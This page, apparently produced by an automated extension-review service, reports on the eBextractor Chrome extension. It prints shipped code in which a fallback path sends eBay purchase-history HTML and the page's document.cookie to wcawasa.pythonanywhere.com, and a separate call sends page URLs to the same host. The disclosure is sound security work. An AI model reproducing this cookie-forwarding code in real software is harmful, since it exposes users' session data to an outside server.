Is ebay Sold History, Offer History - Average High Mid Low Price - eBextractor safe?

Medium risk

eBextractor sends eBay purchase-history page HTML and page cookies to wcawasa.pythonanywhere.com when local parsing fails.

On supported eBay item and search pages, eBextractor analyzes sold and offer history in the page. If its local sold-history parser reports errors, it posts the purchase-history HTML and attempted page cookies to wcawasa.pythonanywhere.com; it also sends eBay search page URLs to the same service as the sidebar loads.

wcawasav3.0.15Chrome Web Store
45Risk
Who publishes it

eBex - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
wcawasa
Declared legal entity
eBex
Registered address
Purok 3 Barangay Waan Davao City, Davao, Davao del Sur 8000, PH

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

eBay purchase-history fallback posts page HTML remotely

Analyze sold history fetches eBay's purchase-history page for the item and parses it client-side.

On a parse error, the fallback posts that HTML to wcawasa.pythonanywhere.com/api/sold-history with document.cookie in a Cookie header.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You ask the extension to analyze sold history for an eBay item.

The shipped content scripts run this feature on supported eBay search, item, and purchase-history pages.

The extension did this

If the local sold-history parser reports an error, the extension sends the fetched purchase-history HTML to its fallback API.

The same fallback request is constructed with the eBay page's cookie string in a `Cookie` header.

Captured request
POSThttps://wcawasa.pythonanywhere.com/api/sold-history

The code treats a successful response as JSON containing sold-history and offer-history results.

Headers
Cookie
document.cookie
Content-Type
application/json
Fields prepared for the fallback request
  • Purchase-history page HTML
    <html><body><div class="app-table fixed-price"><table class="app-table__table"></table></div></body></html> (illustrative)

    This is the eBay page content for the item you asked the extension to analyze.

  • eBay page cookie string
    ebay=%5Ejs%3D1%5Esbf%3D0%5E (illustrative)

    This can identify your browser's eBay page context if the browser allows that header to be sent.

  • Selected item's history URL
    https://www.ebay.com/bin/purchaseHistory?item=325680123456 (illustrative)

    This ties the fallback processing to the specific eBay item you chose to inspect.

The code that does this

Shipped fallback path for sold-history parsing errors

Readable version

Remote sold-history fallback request

content-search-ui/index.iife.js
static async getItemHistoryByIdViaApi(html) {  const pageCookies = document.cookie;  try {    const response = await fetch(this.BASE_API + "/sold-history", {      method: "POST",      headers: {        "Content-Type": "application/json",        Cookie: pageCookies,      },      body: JSON.stringify({ htmlContent: html }),    });    return response.ok      ? {          data: await response.json(),          success: true,          message: "Success",          error: null,          errorDescription: null,          status: 200,        }      : {          data: null,          success: false,          message: "Error Occured",          error: "Error Type: sold-history/local",          type: "captcha",          errorDescription:            "Error fetching sold history - if this persists you can try Clicking `Go to sold history page` as ebay implements captcha",          status: 500,        };  } catch {    return {      data: null,      success: false,      message: "Error Occured",      error: "Error Type: sold-history/local",      type: "eBextractor api",      errorDescription: "Error fetching sold history",      status: 500,    };  }}

Local parse, then fallback when errors are present

content-search-ui/index.iife.js
static async fetchSoldAndOfferHistory(origin, itemId) {  try {    const pageCookies = document.cookie;    const historyResponse = await fetch(`${origin}/bin/purchaseHistory?item=${itemId}`, {      method: "GET",      headers: { Cookie: pageCookies },    });    const html = await historyResponse.text();    if (historyResponse.ok) {      console.log("fetching---sold-history--locally");      const parsed = iE(html);      if (parsed.errors.length > 0) {        console.group("๐Ÿ“Š Fetching --- Analysis --- Locally --- Error");        console.table(parsed.errors);        console.groupEnd();        console.group("fetching---sold-history--via-api as it failed locally");        const fallback = await this.getItemHistoryByIdViaApi(html);        console.log(fallback);        console.groupEnd();        return fallback;      }      fetch(this.BASE_API + "/traffic", {        method: "POST",        keepalive: true,        headers: {          "Content-Type": "application/json",          path: "/api/sold-history",        },        body: JSON.stringify({ url: window.location.href }),      });      const localResult = {        data: parsed,        success: true,        message: "Success",        error: null,        errorDescription: null,        status: 200,      };      console.log(localResult);      console.groupEnd();      return localResult;    }    console.log("getting htmlContent for sold-history failed,, it might be because of sign-in or captcha");    return {      data: null,      success: false,      message: "Error Occured",      type: "sign-in",      error: "Error Type: sign-in",      errorDescription: "You need to sign-in on ebay",      status: 500,    };  } catch {    return {      data: null,      success: false,      message: "Error Occured",      type: "sign-in",      error: "Error Type: sign-in",      errorDescription: "You need to sign-in on ebay",      status: 500,    };  }}

Fallback API base host

content-search-ui/index.iife.js
Ad.BASE_API = "https://wcawasa.pythonanywhere.com/api";
The code that does this

Parser errors are the condition that triggers the remote fallback

Readable version
function parseSoldAndOfferHistory(html) {  const errors = [];  try {    if (!html) {      return { sold_history: [], offer_history: [], item_details: {}, errors };    }    const documentHtml = new DOMParser().parseFromString(html, "text/html");    const itemDetails = {};    const details = documentHtml.querySelector("dl.app-item-card__details");    if (details) {      const labels = details.querySelectorAll("dt");      const values = details.querySelectorAll("dd");      labels.forEach((label, index) => {        const key = label.textContent?.trim();        const value = values[index]?.textContent?.trim();        if (key && value) itemDetails[key] = value;      });    }    const soldTable = documentHtml.querySelector("div.app-table.fixed-price table.app-table__table");    const offerTable = documentHtml.querySelector("div.app-table.offer table.app-table__table");    if (!soldTable && !offerTable) {      errors.push("Offer or sold history table not found | Maybe the page structure has changed");    }    const soldHistory = d0(soldTable);    const offerHistory = d0(offerTable);    return { sold_history: soldHistory, offer_history: offerHistory, item_details: itemDetails, errors };  } catch (error) {    console.error("Error processing item history:", error);    errors.push(`Unexpected error: ${error instanceof Error ? error.message : String(error)}`);    return { sold_history: [], offer_history: [], item_details: {}, errors };  }}
Remote host reached by the fallback path
    • wcawasa.pythonanywhere.com

    Receives the `/api/sold-history` fallback POST for remote parsing of eBay purchase-history HTML.

Where it sends data

Destinations our analysis observed ebay Sold History, Offer History - Average High Mid Low Price - eBextractor contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • wcawasa.pythonanywhere.com

    ebay Sold History, Offer History - Average High Mid Low Price - eBextractor sends data to wcawasa.pythonanywhere.com. No other extension we have analysed sends data here.

Updated 30 September 2026ikfpolbfdnihjnadfodochmagdagpbik